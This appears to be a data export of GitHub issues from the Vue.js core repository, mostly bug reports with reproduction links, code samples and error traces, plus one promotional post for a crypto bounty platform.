vuejs/core,3640495962,Unmounting a parent component fails when KeepAlive is used inside a v-for with non-reactive array,"### Vue version

3.5.24

### Link to minimal reproduction

https://play.vuejs.org/#eNqNU01vnDAQ/SuWL7uRtrBse6IsUlrl0FZqqza3ugcKw64TYyPbkK0Q/z1jzEc+V7nheTNv3sw8OnpZ10HbAI1pYnLNa0sM2KZOmeRVrbQln1VVR6TUqiKrIBxermD1cc7oiIaS9GOOw5hkMlfSINlR3XmGvctaW93AhYOxyzWvQDV2vb4g+5R0TJIlPWgz0QAWlZkwwGS/IdF2u8XSJPQ6USE+LFS1yCzgi5DEd2rf8XLP6MzFKAk9XvAWUUDGtFTqX6aTEEOIJeEDIrqh1qD8kh+CG6Mk7mYQx2iOdFyA/lFbjuMxGnvZDsuEUHdfh5gbcjPF8yPkty/Eb8zJxRj9qcGAboHRGbOZPoD18NXv73DC7xmsVNEIzD4D/gKjROM0+rRPjSxQ9oO8Qe2X4X5cHq7N1cmCNNNQTqjL7Id8RvGmbpOvjb7IfR98GOrwYLjF2Szn3bV75K7d4K7JPxzvYtAGfxxtR3gRk2hDZFZBTFYWjI1Wrtvf877wR3Zik2OUouWjJMSPMbSg+PgGUF8K3gIapVQafeQkEC69FPRSfAv/x3DAC0bn2tGAu7RDoa6o7xM/0kIfzvxT99GBy9dTL85LebbFN45shLLTH/Bij/4elFpRJQ==

### Steps to reproduce

Check the playground example and observe that an error appears:
```
parentComponent.ctx.deactivate is not a function
```

### What is expected?

Instead of an error, it should be switching to a view that says ""foobar"". 

It shouldn't matter whether `items` is reactive or not.

### What is actually happening?

An error breaks the app when `App.vue` attempts to unmount the `Comp1` component:
```
parentComponent.ctx.deactivate is not a function
```

Wrapping the value of `items` in Comp1.vue with `reactive(...)` fixes it.

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 AMD Ryzen 7 3700X 8-Core Processor
    Memory: 11.80 GB / 31.92 GB
  Binaries:
    Node: 22.13.1 - C:\Program Files\nodejs\node.EXE
    npm: 10.9.2 - C... [TRUNCATED]",,2025-11-19T00:20:32Z,2025-11-19T04:02:34Z,3
vuejs/core,3637331252,useTemplateRef doesn't work in a tsx script setup,"### Vue version

5.9.3

### Link to minimal reproduction

https://play.vuejs.org/#eNqVU8Fum0AQ/ZXRXsASxWrcE8VIbWUprpq0Sq2e9kJhwKSwi5Zdx5bFv3d2iW3sOJFyg5n33r59s7NnX9o23BhkEYu7TFWthg61aaFORTnnTHdbzhIuqqaVSsMe1gFIcSeN0JgHYDpcYdPWqcYHLKCHQskGPBL0PnPBRSZFp6HZLUVrtEXMLyjx7eruh+suamxQ6MT3mt2Hyla8CWkcFG5E/l4RolwRmql3CxFlJPTS0597mSOJ+bFDgcKCohs74Aw2aW2QyrfyCVKFsJOGkl1jXct46kDJNZsH7bXvDRYCGgIdEMG5s2A4IALOll4DRSWQDu0Hw8eJ+f4E5gnsuQCwJ8kaw1qWvveRBE5jCp2W5V7AbhxsNItXkTOHHIV9QvYTLuLp8NroadGPfh4B/QFchvgiQBsZ/U+T+K8aGN8kPU9B84Ko6hzrbDSUczw9Yt6inaV+QbOmR0ZZQMtBVy6qMnzspKANcrFylhGlqlH9bHVFkXAWDYHbXkren767mlYGg0M9W2P270r90e6fHeovhR2qDZk69nSqSqRkbHvx+x639H1sNjI3NaHfaD4gjctYjwPsqxE52R7hnNulW/1KlKtusdUousOlrFGL7B2eM9p6m9ZrVz/ZnYWfHI+eAuv/A5EJiYM=

### Steps to reproduce

- Open the console
- You should see only the first ref after '1'. The 2 other refs are `null`

### What is expected?

The refs `my2ndInputRef` and `my3rdInputRef` should have the input as a value also.

### What is actually happening?

They are `null`

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-11-18T10:23:40Z,2025-11-18T13:39:55Z,2
vuejs/core,3631923135,"Multiple `export default` in `<script>` — JS throws, TS does not","### Version
3.5.24

### Reproduction link
[github.com](https://github.com/Fi2zz/vue-compiler-ts-multi-export-default)







### Steps to reproduce
1. Clone the repo: https://github.com/Fi2zz/vue-compiler-ts-multi-export-default
2. Install deps: `yarn install` (or `npm install`)
3. JS repro: `npx tsx compileJavascriptCode.ts`
   - Expected result: throws duplicate default export error
   - Actual result: `SyntaxError: [vue/compiler-sfc] Only one default export allowed per module.`
4. TS repro: `npx tsx compileTypescriptCode.ts`
   - Expected result: same error as JS (multiple default exports should be invalid)
   - Actual result: no error; logs include:
     - `lang-> ts`
     - `content->` followed by two `export default { ... }` blocks

### What is expected?
TypeScript and JavaScript should be consistent: when the same module contains multiple `export default` declarations, both should report an error.


### What is actually happening?
- JS: throws `DuplicateDefaultExport` (Only one default export allowed per module).
- TS: no error; `compileScript` returns content keeping both default exports.


---
This repro uses `vue/compiler-sfc` with `parse` + `compileScript`.
Files of interest:
- `src/ComponentVanilla.vue` (JS)
- `src/ComponentTS.vue` (TS)
- `compile.ts` (driver calling `parse`/`compileScript`)
```

<!-- generated by vue-issues. DO NOT REMOVE -->",,2025-11-17T06:24:16Z,2025-11-17T06:53:59Z,1
vuejs/core,3631568911,Teleport breaks template reactivity - DOM never re-renders despite reactive state updating correctly [BUG],"### Vue version

3.5.18

### Link to minimal reproduction

https://sfc.vuejs.org/#eNqVVm1v2zYQ/isEi6EJYMuO7aRpCyRAsQ/9UIzpgGFYP9AUZXFliSpJOU2M/vedSNqOm6Qv/WJJR/Lu4Z3vHm9ao9tGQ1NrW+kGyOTSgLYNmIVtKgXPnSk1NFprq1doFJmNUVswa0Bhw1YabOO4dRpcY2HdaG2sZmFpo6C2bFvBSmsDZa2whdK6Bjc3K+qGbdrWaN2suZVcoVH0Zy0bQxbQSAvO8BXLemMh12htjNWwbDS0SoPetGCtrRU8W0A3DdRKQaVhVWvdamOFBm1atm4NZS0UtYK6AaVZqJSFTavJsFZcN0pBbrQCa2Ct0bDSCtZa8wKqBiy0UisLayY0mrqWWqE2tF9joVS6NmAqTSu4g1xpBa3WoMjQKPpba1vbxijQleLdmHWt1caAWrNuK+g6xdu1hUYrq8C2WivwPSittKZYKliSQbLOtN6geeEMKWOqlQKzyUlbXbdaM0KtXaNqC6YxoPFx0zT0oHFdy6qxbJ1Bba0FI/FaCw1GK/bSaOZUCkMBjCl4oTeocK21JsUKjSXFZKYxEixLp6FSCta1BtNoeFYrlpqC+hVUNVsF3LdtwbvVUDOjFRQKVrWGSsFKK22tqRW0WrGPCnIFRu1rBU2toKo1tJZdKvDWaBZ02aZWa2grDa1WcKPFV1CDQ42RUNaaVGvI6xpcZeDZWpZm0FhZK0MLqJSFplZQKfLDV1OztmgrBde1Mra2sLKwUs5ACyulYKXhpdaE5/xca1hbQyGwNBdQ1OBqo0hpNBSV5r21omWlqBWYTas1K0bh2aqFXGsoK00LRr2mBdK1IlVBS2VZlsGaVMrCkmm0Zd2wVsGa/FeVhdpqaE2tYdVqvsJqDZmC0mq0S3Cae6Md0GYRP/m8xWe/M0rRf6UgV1qRu7Vqtaa3RjuwdaXBtIp0DVgLuq0V1K1m7+qWnKMVFJWGWitWmLzLFTSVgqIyYKyGvNGwJPdr8r9WsK4VLStFe1BUrK0VlLWCsmYH60qxAmRb1Jq8IQMrugdlDWTtujWmhaLWsG41LFvNii+gNmCsJv2tFSxrzSu0gly1YJSClVbsB+lpK81iUS0YpXgntYJVrdkbVVtUGla15r1Sa1BtwSpFPitYKg25VuzOolbwTLE/a82LfKW0Nc6wm8tKE45oFdlaSRZ+o1m7ldKgKw1lreHKKPJSawWFhjurybCCwqxqTQ6mGxaLgJSaXF5rUFqz9Aut2GutWZwrWvKZjSIrLcRaoQW1gqpWZKRlrXgJraCuFBjLzq0qzcYta+YeWTvN2tXsba1Y6BWvDZ8bVqXiQ9rSb1ozF+WaXFtWmo0PrqzhZeWqYW9VpUGxR/JKaXY0qxW52Gpot0qzcspKk08qzQazqjUvYMW+VJp9yBW7v1ZgjIan/wXt5wSh

### Steps to rep... [TRUNCATED]","need more info,can't reproduce",2025-11-17T03:17:33Z,2025-11-21T00:11:08Z,1
vuejs/core,3630946521,v-if throws an error if toggled off after the element has been removed from the DOM through other means,"### Version
3.5.24

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNp9VEtv2zAM/iuETimQ2tvaXVI32Nb10AFbhzRHA4MfdKJWlgRJdlIU+e+j5EedLutNfH/8SOqFfdU6ahtkC5bYwnDtwKJr9DKVALzWyjh4AYPVHBqLa6y1yByusIIDVEbVkDKKTtlVKn1EoaR14DKzQQfXb0JmKessKTsj/8G75ZbnAsmdysycadBbvb1qZOG4kmSoVYvrEDw7gxdvhL5M1GaiwahzmXWJD6lM4q4daoQE16MIbSUlb8Pj6EmCyHIUo0gKLnVDAM9rVaK4plY7qCkD96yRFMUWi6dc7UkTTwIftmoHHdwxeTzNnsQTDHnjHDX5pRC8eKKk025TtlwFsU+XxJ33BD/h49UROOKR5IFrsO5ZeLA6K0suNwv4+EHvryDPiqeNUY0szwsllFlQXHlFBY/A6eVdBZkEFFijdLDjbgtZqAk5lz4hcNtPqOx2wm0RSlU0PmBOwWXQhBBy9XMw4NRmI7D0ZkBjlPEmtzVqJ6Mk7vYvlF+hNqpsClxM1Op1TIngy3VIBqqqaB+n5NOgFC00UubMD7JDMOwVYaex8JOp5NtM/3je+HGR19F8uoodG6Hr/hYG+kZ+vt///G/tE214EqVyvMCerRw98yNhY6Yk7rkZppjEk+Vnc+YsnV3FN9GjVZLOPhwTbbKqNRdo7rVnxqZsMZxZyjIh1O5H0PnznA/6sP0n9I+WDmJBj98GLZqWdnK0DVvpzbcPv3BP79FId9b4DX7HuEKrROMxdm7faH8J9sQvoL0LXxdRtLa3e4fSDk15oOGLCP7h97p5p/VXuBfRZf+1HIjFPy0an5MIvIg+R58u2eEv5+e9DQ==)







### Steps to reproduce
- click ""Remove Target"" to remove the target element (which has a v-if directive on it)
- toggle ""Show Target"" to trigger the v-if directive's hide behavior
- note the error that is thrown ""Cannot read properties of null (reading 'insertBefore')""

### What is expected?
Toggling a v-if for an unbound element should be a no-op. Nothing should change.

### What is actually happening?
An uncaught error is being thrown, which can break other parts of a complex application.

---
This bug was encountered when interacting with other custom direct... [TRUNCATED]",,2025-11-16T18:23:30Z,2025-11-16T22:41:06Z,4
vuejs/core,3622416585,"Reactive Props Destructure | Typescript | Boolean Optional Default True - Doesn't work, still showing false","### Vue version

3.5.24

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kstOwzAQRX9l5A2thBKem5IWAWIBEg8BS0sopJM04NiWH6Uoyr8ztiGAhLpJ4jt3JsfX7tmZ1tnaI5uxwlam1Q4sOq9BlLKZc+YsZwsu204r46AHJW+Ulw6XMEBtVAc71LxzwiV5SDZ1WSHcG6Ut9FwCdB/nSonTGbzQC0tJziDe+o406bsXNCQNob9S0jrQsXcOS6xbiXFSEZ+LyTT+Jtn6r8nkdMbjbppJq/29PUKbpzmxYUSeTKYwXySuMIWAMqGaSZo0PYE8B7tS7xbqUlgkrCmXRZ5ioRBo4bDTonRIK4Bitb/oR5BhKHIS/hQC0qgX+a9utkvREkTdNtmrVZLyj1ycVarTrUBzp11LkJzNEnGolUKo9+uoxV1/69UKq7d/9Fe7CRpn9wYtmjVyNtZcaRp0qXz5eIsb+h6LnVp6Qe4txQekAH1gTLZzL5eE/csXaa/izWll82QvNw6l/d5UAA3OIfo5o3t0sWXrP7iH2VHso/OhFJ/XaMJMCvAwO84OjtjwCbmX8is=

### Steps to reproduce

Child.vue
```
<script setup lang=""ts"">
import { onMounted } from 'vue';

interface Props {
  myBool?: boolean;
}

const props = defineProps<Props>();

const { myBool = true } = props;

onMounted(() => {
  console.log(myBool); // shows false
})
</script>
```


Parent.vue
```
<template>
  <Child/>
</template>

<script setup lang=""ts"">
import Child from ""./Child.vue"";
```

### What is expected?

Inside the onMounted hook, myBool should be true

### What is actually happening?

Inside the onMounted hook, myBool is false

### System Info

```shell

```

### Any additional comments?

With typescript, this way of providing default value is nice: `const { myBool = true } = props;`.  But for optional boolean that I want to default to true, this way of providing default value doesn't work.  Do we really need to fallback to `withDefaults` and do something li... [TRUNCATED]",,2025-11-13T18:55:57Z,2025-11-13T19:36:21Z,1
vuejs/core,3619302157,InputHTMLAttributes 的 enterKeyHint属性大小写问题,"### Vue version

latest

### Link to minimal reproduction

https://github.com/vuejs/core/blob/e9c676ff2b64724ad74f017bd280d623e8d72e6b/packages/runtime-dom/src/jsx.ts#L550-L551

### Steps to reproduce

https://github.com/vuejs/core/blob/e9c676ff2b64724ad74f017bd280d623e8d72e6b/packages/runtime-dom/src/jsx.ts#L550-L551

为什么这里enterKeyHint的""K""和""H""是大写的，input实际需要的是enterkeyhint
@buqiyuan 

<img width=""827"" height=""240"" alt=""Image"" src=""https://github.com/user-attachments/assets/83f81f30-cfb6-4a8a-b5bd-318faec1824e"" />

https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Global_attributes/enterkeyhint


### What is expected?

null

### What is actually happening?

null

### System Info

```shell

```

### Any additional comments?

_No response_",scope: types,2025-11-13T04:01:25Z,2025-11-18T00:33:46Z,1
vuejs/core,3619054082,Slot limitations,"### Vue version

3.5.22

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-3hpyzzaf?file=src%2Fcomponents%2FDrawer%2Findex.vue,src%2FApp.vue,src%2Fmain.ts&terminal=dev

### Steps to reproduce

<template>
  <div
    :class=""{
      'v-dialog': 'v-dialog',
      open: open,
    }""
    ref=""dialog""
  >
    <div class=""v-dialog-mask""></div>
    <div class=""v-dialog-content"">
      <slot>
        <div class=""v-dialog-header"">
          <slot name=""header"">
            <button @click=""(ev) => emits('cancel', ev)"">close</button>
          </slot>
        </div>
        <div class=""v-dialog-body""></div>
        <div class=""v-dialog-footer"">
          <slot name=""footer""></slot>
        </div>
      </slot>
    </div>
  </div>
</template>
<script setup lang=""ts"">
import { disabledTabEvent } from '@/utils'
import { onMounted, onUnmounted, useTemplateRef, watchEffect } from 'vue'

interface DialogProps {
  open?: boolean
}

interface DialogEmits {
  (name: 'cancel', ev: MouseEvent): void
}

defineOptions({
  name: 'VDialog',
})
const emits = defineEmits<DialogEmits>()
const props = defineProps<DialogProps>()
// ref
const dialogRef = useTemplateRef('dialog')
onMounted(() => {
  window.addEventListener('keydown', disabledTabEvent)
})
onUnmounted(() => {
  window.removeEventListener('keydown', disabledTabEvent)
})

watchEffect(() => {
  if (props.open) {
    window.addEventListener('keydown', disabledTabEvent)
  } else {
    window.removeEventListener('keydown', dis... [TRUNCATED]",,2025-11-13T02:20:53Z,2025-11-13T04:01:53Z,0
vuejs/core,3619053142,Slot limitations,"### Vue version

3.5.22

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-3hpyzzaf?file=src%2Fcomponents%2FDrawer%2Findex.vue,src%2FApp.vue,src%2Fmain.ts&terminal=dev

### Steps to reproduce

<template>
  <div
    :class=""{
      'v-dialog': 'v-dialog',
      open: open,
    }""
    ref=""dialog""
  >
    <div class=""v-dialog-mask""></div>
    <div class=""v-dialog-content"">
      <slot>
        <div class=""v-dialog-header"">
          <slot name=""header"">
            <button @click=""(ev) => emits('cancel', ev)"">close</button>
          </slot>
        </div>
        <div class=""v-dialog-body""></div>
        <div class=""v-dialog-footer"">
          <slot name=""footer""></slot>
        </div>
      </slot>
    </div>
  </div>
</template>
<script setup lang=""ts"">
import { disabledTabEvent } from '@/utils'
import { onMounted, onUnmounted, useTemplateRef, watchEffect } from 'vue'

interface DialogProps {
  open?: boolean
}

interface DialogEmits {
  (name: 'cancel', ev: MouseEvent): void
}

defineOptions({
  name: 'VDialog',
})
const emits = defineEmits<DialogEmits>()
const props = defineProps<DialogProps>()
// ref
const dialogRef = useTemplateRef('dialog')
onMounted(() => {
  window.addEventListener('keydown', disabledTabEvent)
})
onUnmounted(() => {
  window.removeEventListener('keydown', disabledTabEvent)
})

watchEffect(() => {
  if (props.open) {
    window.addEventListener('keydown', disabledTabEvent)
  } else {
    window.removeEventListener('keydown', dis... [TRUNCATED]",,2025-11-13T02:20:31Z,2025-11-13T04:01:35Z,1
vuejs/core,3619051555,"When I was writing another drawer component, I encountered a problem: slots have limitations","### Vue version

3.5.22

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-3hpyzzaf?file=src%2Fcomponents%2FDrawer%2Findex.vue,src%2FApp.vue,src%2Fmain.ts&terminal=dev

### Steps to reproduce

<template>
  <div
    :class=""{
      'v-dialog': 'v-dialog',
      open: open,
    }""
    ref=""dialog""
  >
    <div class=""v-dialog-mask""></div>
    <div class=""v-dialog-content"">
      <slot>
        <div class=""v-dialog-header"">
          <slot name=""header"">
            <button @click=""(ev) => emits('cancel', ev)"">close</button>
          </slot>
        </div>
        <div class=""v-dialog-body""></div>
        <div class=""v-dialog-footer"">
          <slot name=""footer""></slot>
        </div>
      </slot>
    </div>
  </div>
</template>
<script setup lang=""ts"">
import { disabledTabEvent } from '@/utils'
import { onMounted, onUnmounted, useTemplateRef, watchEffect } from 'vue'

interface DialogProps {
  open?: boolean
}

interface DialogEmits {
  (name: 'cancel', ev: MouseEvent): void
}

defineOptions({
  name: 'VDialog',
})
const emits = defineEmits<DialogEmits>()
const props = defineProps<DialogProps>()
// ref
const dialogRef = useTemplateRef('dialog')
onMounted(() => {
  window.addEventListener('keydown', disabledTabEvent)
})
onUnmounted(() => {
  window.removeEventListener('keydown', disabledTabEvent)
})

watchEffect(() => {
  if (props.open) {
    window.addEventListener('keydown', disabledTabEvent)
  } else {
    window.removeEventListener('keydown', dis... [TRUNCATED]",,2025-11-13T02:19:52Z,2025-11-13T04:01:09Z,2
vuejs/core,3615670061,`useTemplateRef` does not work as expected with lists in tsx components,"### Vue version

3.5.24

### Link to minimal reproduction

https://play.vuejs.org/#eNq9VN9vmzAQ/lc8XkI0RB62pw6YsinSNmk/1FbaQ6kmCpeU1tiWbbJUiP99ZxsIoazq9tBIEfjuvrvv7j7ceGshwn0N3pkXqVyWQhMFuhZJyspKcKlJQyRsSUu2kldkgaGLwfWRV6KzhytzCLU6oDtlOWdKk0rtSGzg/uITUMrJTy5p8WqxTFm0ctWwDh40VIJmGvBESGQyJZFNiIZoNfJ6gacVJt+Wu/BOcYa0G4NJvRyjSwryu9AlFk+9M2I9xpdh7d9frE3LGoLent9Cfj9jv1MHY0u9HxIUyD2k3uDTmdyBdu7NxTc44PvgrHhRU4x+wnkOitPacHRhH2pWIO1RnGX72U64ZLtLtTloYKpvyhA1ka2NTz1ciBnU31o/0n0TvrW4lLU4xX5bOMB+zwVsS2aTcQZMB4Szr7xmGoqA1Aouuy2cwzbAlXaCsARS710qcZH41w8CyHq9OQiOEHOIkQw6DB1kcllqCmfEX5I4IUpL7NB42x7vhLNeI2zCxx/SCMmFMj12Z/PTLu/FkNEYcUbdm9W0b4EBacCya5enKZz1WKb/LXrai563zRPakuPgdjk+SSwpWYfwI1omzQjXRiu0DADbv8Obv6GCK8EJZDW1z/lJuLYmfbgRFpnOcIhXqCfUFu7pxj3y1Lt+HJ1luFYMP91zNF7k1XXiYzLMdtJmh795Lh5pzOEzO+H+tsAbYqbEEyGDVH0370dLtATDfUZreB9uudxk+a1f4s0SJ49i+5qcQkj5zoaFvQj85UnhY37rdRXI65hMQFPMqVZsBrOCOYaz/fwXRzfkf+T4bIUX5T6ZppjlbaQZVpnwLeuAlKyAg02CgiH38BA31tS6rxpPGNaatcdOgGR1/HIGalOD5dO1jJfFSfP49b0QW5S7ef2FC40bc3e3z+fuJGW4j8U1w91ZppeJ1/4BR7ht4Q==

### Steps to reproduce

1. open repo
2. you can see errors `Cannot read properties of undefined (reading 'call')`

### What is expected?

useTemplateRef  returns an array of component's expose instance when use array.map() in tsx component

### What is actually happening?

i don't konw is ok or not.
in my case , `data.map((item, index) => <AA key={index} title={item} ref=""aa"" ref_for={true}/>)` works fine . 
but when remove ref_for={true} , it throws errors , useTemp... [TRUNCATED]",,2025-11-12T09:17:34Z,2025-11-12T12:54:16Z,1
vuejs/core,3615643703,Component styles are added to `<head>` even when it is not used,"### Vue version

3.5.24

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-cvhzveij?file=src%2Fcomponents%2FFactoryComponent.vue,src%2Fcomponents%2FSomeComponent.vue,src%2FApp.vue&terminal=dev

### Steps to reproduce

There is a `.vue` file, which exports a factory function for a component. When the function is imported in another SFC file and used to define a new instance of the component, the styles from the SFC file where the factory is defined get injected into `<head>` too.

```vue
<!--  app.vue  -->
<template>
  <SomeComponent />
</template>
```

```vue
<!--  SomeComponent.vue  -->
<script>
import { defineSomeComponent } from './FactoryComponent.vue';

export default defineSomeComponent();
</script>

<style>
.component-class {
  background-color: red;
}
</style>
```

```vue
<!--  FactoryComponent.vue  -->
<script>
import { defineComponent, h } from 'vue';

export function defineSomeComponent() {
  return defineComponent(() => {
    return () => h('div', { class: 'component-class' }, 'SomeComponent');
  });
}

export default defineSomeComponent();
</script>

<style>
// this is not used, should not be injected into the <head>
.component-class {
  background-color: blue;
}
</style>
```

### What is expected?

The styles from `FactoryComponent.vue` should not be injected into the `<head>`.

### What is actually happening?

<img width=""1142"" height=""267"" alt=""Image"" src=""https://github.com/user-attachments/assets/319d8393-21d1-4f47-9ec6-29efdc3ff206"" ... [TRUNCATED]",,2025-11-12T09:10:07Z,2025-11-12T13:08:23Z,3
vuejs/core,3615364043,💡 Platform Suggestion: Bounty System for Vue.js Framework,"Hi Vue.js Framework team! 👋

I wanted to share **Roxonn** - a decentralized bounty platform that could help accelerate development.

**What is Roxonn?**
✅ Turn GitHub issues into crypto bounties (XDC, USDC, ROXN)
✅ Notify 300+ developers instantly
✅ Auto-pay when PRs merge via blockchain
✅ Zero crypto setup needed

**Quick flow:**
1. Register repo (GitHub App install)
2. Fund pool with USDC (stable pricing)
3. Assign bounties to features/bugs
4. PR merged → automatic payment

**Why teams use it:**
- Access to active developer network
- **Only 1% total platform fee**
- Transparent blockchain payments

Learn more: **https://roxonn.com**

*No pressure - just sharing a resource!*",,2025-11-12T07:40:49Z,2025-11-12T12:55:22Z,0
vuejs/core,3615125398,Combining shallowReadonly and ref results in incorrect TypeScript types.,"### Vue version

3.5.24

### Link to minimal reproduction

https://play.vuejs.org/#eNqlVM1u2kAQfpWpLzZSZNKQ9EAcS2mVQ3toKxr1EqfVBo/Bqb272l0TEOLdO7uLjUMRtCoXvPP7zTc/6+BWynjRYDAOEj1VpTSg0TQSKsZnN1lgdBakGS9rKZSBNSgszkDPWVWJlwmyXPBqBRsolKghpDhhZ2tWEslhgsWePuNONREvGm7gVim2SiaUU/F7kidWKQqYKmQGyShNrzM+FVwbUN6FMCTWO40eHgekBGgNOieyigZwk0Jk1Xt4nQwgWvt/gEKo+jurGhzb2FEWsKdpjlkwOPMWG/8xsMkyblHEC2sOmplSFyVqVw1ph0MfkX4/3MuWBKHlbctVIcQYtFEln133pR2CVrd5eAwhFxSbC2qKy7QCM0fApcSpwdxTHNrUYbzN/R/5Qih9LqZ1OePsqUIwok2y9UzWryP2AlGnEy+mCXH/KUVNO2genAZqrlRCojIrCDv/EJhCKKmRtaRaKfnOry3LRz2B8w8QYWx09Hb07nxgu+cHheV5f0rcJOz6GstGz6NumCLXeIBec9sOO+GtmjU1cmMrO8DWSYIO1yOZYjUaVLuwr9p6oIHE2BblPzPdVeeZPkTjMdq3nbFMX4wur4jpjdsVz3O0vzgP549v4g5Qf426vHbr9wk/uFvtUPzVqpyajmTojyCdPHoYrGVFM0CvZNh7BGd0F2mQinIWP2vB6Xi6CcoCy2lZofoiTUmDlgVjP1tW527QJyczqsHtbSGfOU5/HZA/66WVZcFXhRrVgg5SpzNMzdB49d23z7ik705Zi7ypyPqIcoJaVI3F6M3eNzwn2D07h/ajO+VE072+Wxrkui3KArWWG2efBXTZPxwpfQd3FF86PxoQYvHnApWNSQSO4qv44jLY/AbSjy+a

### Steps to reproduce

1. Open repro
2. You can see that three TypeScript type errors have occurred

### What is expected?

TypeScript type errors do not occur. The type in TypeScript matches the runtime type.

### What is actually happening?

The type of Ref in the typescript is incorrect. type errors occurs.

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-11-12T06:15:10Z,2025-11-12T13:13:00Z,2
vuejs/core,3615097704,[Suspense] Cannot read properties of null,"### Vue version

3.5.23

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-bslibwhw?file=package.json,src%2FApp.vue,src%2Fmain.js&terminal=dev

### Steps to reproduce

Change the Vue version to 3.5.23

<img width=""458"" height=""140"" alt=""Image"" src=""https://github.com/user-attachments/assets/b68c8e84-6184-4d9e-bbd5-fc5726290b6f"" />

### What is expected?

no error

### What is actually happening?

<img width=""591"" height=""130"" alt=""Image"" src=""https://github.com/user-attachments/assets/2411311c-a9ef-465c-a9a0-93870f0ee7a1"" />
It is caused by el being null.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: suspense,:hammer: p3-minor-bug",2025-11-12T06:07:14Z,2025-11-24T07:20:46Z,2
vuejs/core,3605399843,Component update fails when using custom elements/web component that bundles an older Vue version,"### Vue version

3.5.23

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-vtxciu5w?file=vue-3.5.24-app%2Fpackage.json

### Steps to reproduce

- Open the provided link
- Run `npm --prefix ./vue-3.5.22-web-component install && npm --prefix ./vue-3.5.22-web-component run build`
  - This bundles a custom elements libary under `vue-3.5.22-web-component/dist/index.js`
- Run `npm --prefix ./vue-3.5.24-app install && npm --prefix ./vue-3.5.24-app run dev`
  - It uses `<my-foo>` from the custom elements libary 
- Open the browser's developer tools
- In the preview, change the value in the input field


### What is expected?

After changing the value in the input field, the text below should be updated.

### What is actually happening?

The text is not updated, and the following error is reported:

```
Uncaught (in promise) TypeError: customElement._endPatch is not a function
    VueJS 10
        processElement
        patch
        patchBlockChildren
        processFragment
        patch
        componentUpdateFn
        run
        runIfDirty
        callWithErrorHandling
        flushJobs
vue.js:7039:25
```

### System Info

```shell

```

### Any additional comments?

This issue occurs when using a custom element within an application under the following circumstances:

- the custom element
  - is build with Vue 
  - uses version before `v3.5.23`
  - **bundles** Vue
- the Vue application uses the version `v3.5.23` or higher

It seems to have been introduce... [TRUNCATED]",,2025-11-09T19:37:23Z,2025-11-10T01:15:19Z,2
vuejs/core,3594272038,Regression in 3.5.23: fails to parse ! in typescript,"### Vue version

3.5.23

### Link to minimal reproduction

https://github.com/cyberalien/vue-3-5-23-bug

### Steps to reproduce

Run `npm run build`

### What is expected?

Expected to to compile

### What is actually happening?

```
error during build:
[vite:esbuild] Transform failed with 1 error:
/bug-test/src/App.vue?vue&type=script&setup=true&lang.ts:22:2: ERROR: Expected ""]"" but found ""}""
file: /bug-test/src/App.vue?vue&type=script&setup=true&lang.ts:22:2

Expected ""]"" but found ""}""
20 |    return (_openBlock(), _createElementBlock(""p"", {
21 |      ""data-foo"": data[key.value
22 |    }, ""Test"", 8, _hoisted_1))
   |    ^
23 |  }
24 |  }

    at failureErrorWithLog (/bug-test/node_modules/esbuild/lib/main.js:1467:15)
    at /bug-test/node_modules/esbuild/lib/main.js:736:50
    at responseCallbacks.<computed> (/bug-test/node_modules/esbuild/lib/main.js:603:9)
    at handleIncomingPacket (/bug-test/node_modules/esbuild/lib/main.js:658:12)
    at Socket.readFromStdout (/bug-test/node_modules/esbuild/lib/main.js:581:7)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at Pipe.onStreamRead (node:internal/stream_base_commons:189:23)
ERROR: ""build-only"" exited with 1.
```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (10) arm64 Apple M5
    Memory: 640.25 MB / 24.00 GB
    Shell: 5.... [TRUNCATED]",":exclamation: p4-important,regression",2025-11-06T06:15:37Z,2025-11-07T00:52:08Z,11
vuejs/core,3589547798,"TypeScript enables strict mode, and the interface includes an optional `never` type; `defineProps` returns the `never` type.","### Vue version

3.5.22

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v1DAQ/SuDL1ukkhVdemBJFwFqRTlABYheLKE0mWTdOrZlj7crRfnvHTv92KrVXiz5zZvnec8ziC/OFZuIYinKUHvlCAJSdKAr051IQUGKlTSqd9YTDOCxhRFab3uYcdtMGi4aQt9WNcKlorWNdFY1eMaUC29dgEEagPYeOjcNbj8vweAGvTTj8/6pAbeEpgl71CoWiP1VVviUJGprAoHLjBNosFUGM7/M5+rg7ROrDx1z2MjB7DtqbeHSet28mTGlnE8ZsGO+EPZOV4R8AyjX71fDMD1RPHMD41jOuZpZyrhIsHnX2wY158ePSQFzLpbzHT1xyMnyOK3qiutgDcefjUlR294pjf6XI8XjSrGcLKdaxdPe/sgY+YiHD3i9xvrmFfw6bBMmxYXHgH6DUjzWAnlV04sWqnyHGZbi9M9P/oqdHjYVNYvsKf7GYHVMo0+0r9E07GaHl02c531SpvsbTtNvhwevaZjEHDNfCt6xb3sSeRp3UXzIfbwRHO5/3q6kybkuiuPi6ChhFP49osfFx2IhxjsJbANb

### Steps to reproduce

-

### What is expected?

<img width=""1295"" height=""839"" alt=""Image"" src=""https://github.com/user-attachments/assets/1473ac80-6ba8-4ec5-b720-2669cfa5c745"" />

### What is actually happening?

<img width=""1934"" height=""876"" alt=""Image"" src=""https://github.com/user-attachments/assets/dbea5182-721d-4373-b6ba-0b5d9608d74c"" />

<img width=""1299"" height=""1146"" alt=""Image"" src=""https://github.com/user-attachments/assets/c21e9caf-6afe-44c0-9aa3-73a18cd21758"" />

### System Info

```shell
System:
    OS: Windows 10 10.0.19044
    CPU: (20) x64 Intel(R) Xeon(R) CPU E5-2666 v3 @ 2.90GHz
    Memory: 9.39 GB / 31.84 GB
  Binaries:
